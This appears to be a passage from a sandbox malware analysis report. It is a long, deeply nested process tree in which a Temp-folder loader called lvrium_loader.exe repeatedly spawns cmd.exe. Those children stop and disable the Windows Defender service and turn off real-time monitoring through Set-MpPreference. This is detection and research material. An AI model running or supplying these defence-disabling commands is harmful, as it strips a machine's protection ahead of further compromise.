        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        69⤵
        
        PID:30852
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        64⤵
        
        PID:17960
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        65⤵
        
        PID:21296
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:22612
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        67⤵
        
        PID:30220
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        62⤵
        
        PID:17756
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        63⤵
        
        PID:20836
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        64⤵
        
        PID:22648
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        60⤵
        
        PID:17580
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        61⤵
        
        PID:22428
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:23028
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        63⤵
        
        PID:30544
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        58⤵
        
        PID:17252
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        59⤵
        
        PID:20224
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:21764
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        56⤵
        
        PID:16004
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        57⤵
        
        PID:21452
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:21840
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        54⤵
        
        PID:17268
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        55⤵
        
        PID:20840
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:21204
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        52⤵
        
        PID:17112
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        53⤵
        
        PID:19920
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:20436
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        50⤵
        
        PID:16928
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        51⤵
        
        PID:19968
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:19508
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        48⤵
        
        PID:16732
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        49⤵
        
        PID:20352
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:21068
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        46⤵
        
        PID:16564
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        47⤵
        
        PID:20328
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:20672
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        44⤵
        
        PID:16420
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        45⤵
        
        PID:19492
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:19880
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        42⤵
        
        PID:16020
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        43⤵
        
        PID:19752
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:20052
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        40⤵
        
        PID:16244
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        41⤵
        
        PID:19096
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:19368
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        43⤵
        
        PID:25612
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:26024
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        38⤵
        
        PID:16128
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        39⤵
        
        PID:16824
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:17120
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        41⤵
        
        PID:18808
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:19700
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        43⤵
        
        PID:25808
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:26044
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        36⤵
        
        PID:15928
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        37⤵
        
        PID:18812
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:18996
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        39⤵
        
        PID:23328
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:25028
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        34⤵
        
        PID:15760
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        35⤵
        
        PID:18768
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:19012
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        37⤵
        
        PID:24448
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:24768
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        32⤵
        
        PID:15548
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        33⤵
        
        PID:18144
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:17040
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        35⤵
        
        PID:23336
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:23720
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        37⤵
        
        PID:28196
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:31160
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        30⤵
        
        PID:15428
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        31⤵
        
        PID:18108
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:18408
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        33⤵
        
        PID:23088
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:22588
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:30876
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        28⤵
        
        PID:15352
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        29⤵
        
        PID:17604
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:17864
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        31⤵
        
        PID:22396
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:22628
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        33⤵
        
        PID:29980
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:30772
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        26⤵
        
        PID:15216
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:17524
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:17944
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        29⤵
        
        PID:22872
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:23496
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        31⤵
        
        PID:31216
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        24⤵
        
        PID:15076
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:17348
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:17444
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:21468
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:21888
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        22⤵
        
        PID:14960
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:15596
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:16596
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        25⤵
        
        PID:19628
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        26⤵
        
        PID:19960
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        27⤵
        
        PID:25988
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        28⤵
        
        PID:26380
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        22⤵
        
        PID:30588
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        20⤵
        
        PID:14828
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:16828
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:17044
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:20320
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:20628
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:28152
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        18⤵
        
        PID:14768
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:16072
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:16268
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:19104
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:18124
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:23568
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        24⤵
        
        PID:24856
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        16⤵
        
        PID:14680
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:15308
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:15456
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:17180
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:17508
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:21476
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        22⤵
        
        PID:21912
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        23⤵
        
        PID:29216
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        18⤵
        
        PID:30944
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        14⤵
        
        PID:14540
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:15020
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:15412
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:17144
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:17516
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:21460
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:21896
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        21⤵
        
        PID:29088
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        16⤵
        
        PID:30884
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        12⤵
        
        PID:14380
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:15068
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:15176
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:17696
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:17984
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:23112
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:22800
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        14⤵
        
        PID:30988
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        10⤵
        
        PID:14188
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:14664
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:14740
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:16096
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:16284
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:18220
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:1204
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:23104
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:22572
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:30900
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        12⤵
        
        PID:30276
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        8⤵
        
        PID:13836
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:14092
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:14152
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:14568
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:14632
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:16088
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:16280
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:18024
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:19780
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:25812
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:26340
      - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c sc stop WinDefend 2>nul
        6⤵
        
        PID:13084
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        7⤵
        
        PID:13200
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        8⤵
        
        PID:13228
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        9⤵
        
        PID:13260
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        10⤵
        
        PID:13356
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        11⤵
        
        PID:13508
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        12⤵
        
        PID:13560
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        13⤵
        
        PID:13672
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        14⤵
        
        PID:13720
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        15⤵
        
        PID:13968
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        16⤵
        
        PID:14012
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        17⤵
        
        PID:13832
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        18⤵
        
        PID:14344
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvrium_loader.exe
        19⤵
        
        PID:15520
        
        C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        20⤵
        
        PID:15652
        
